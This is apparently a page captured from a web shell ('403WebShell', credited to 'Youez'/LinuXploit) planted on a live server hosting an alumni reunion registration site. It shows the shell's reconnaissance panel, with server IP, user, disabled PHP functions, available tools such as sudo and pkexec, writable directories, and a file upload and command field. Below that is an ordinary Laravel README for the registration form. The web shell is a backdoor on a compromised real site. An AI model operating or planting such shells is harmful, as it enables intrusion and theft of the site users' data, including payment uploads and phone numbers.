Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/lhvpraktani.in/phire-dekha-2026/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/lhvpraktani.in/phire-dekha-2026//README.md
# LHV Reunion Registration (Laravel + MySQL)

This project provides a **single-page** alumni registration form for the **Reunion on 18 Jan 2026**.

## What’s included
- Single-page form with banner + logo area (top)
- Live “Total Payable” calculation on the page
- Upload payment screenshot (image)
- Server-side validation
- Server-side total calculation (authoritative)
- Phone-number check for discount (Rs 300) if already present in `alumni_phone_discount` **and** Participation Type is **Full Time**

## Important note about your pricing rules
Your last rule line looks like a typo. It says:
- `If Participation Type = Full Time and passing year >=2015 then consider 300`

…but the previous line already covers full-time >=2015 = 500.

So in this project, I implemented the **most logical correction**:
- Full Time + year < 2015  => 1000
- Till Noon + year < 2015  => 500
- Full Time + year >= 2015 => 500
- Till Noon + year >= 2015 => 300

If you want different pricing, update `app/Models/Registration.php`.

## Tech requirements
- PHP 8.2+
- Composer
- MySQL 8+
- Laravel 11

## Setup (local)
```bash
composer install
cp .env.example .env
php artisan key:generate

# Create DB in MySQL: lhv_reunion
php artisan migrate
php artisan db:seed

php artisan serve
```

Open:
- `http://localhost:8000/register`

## Database scripts
- Raw SQL: `scripts/database.sql` (optional if you prefer raw import)

## Where uploads go
Uploaded payment screenshots are stored in:
- `storage/app/public/payments`

Run once:
```bash
php artisan storage:link
```


Youez - 2016 - github.com/yon3zu
LinuXploit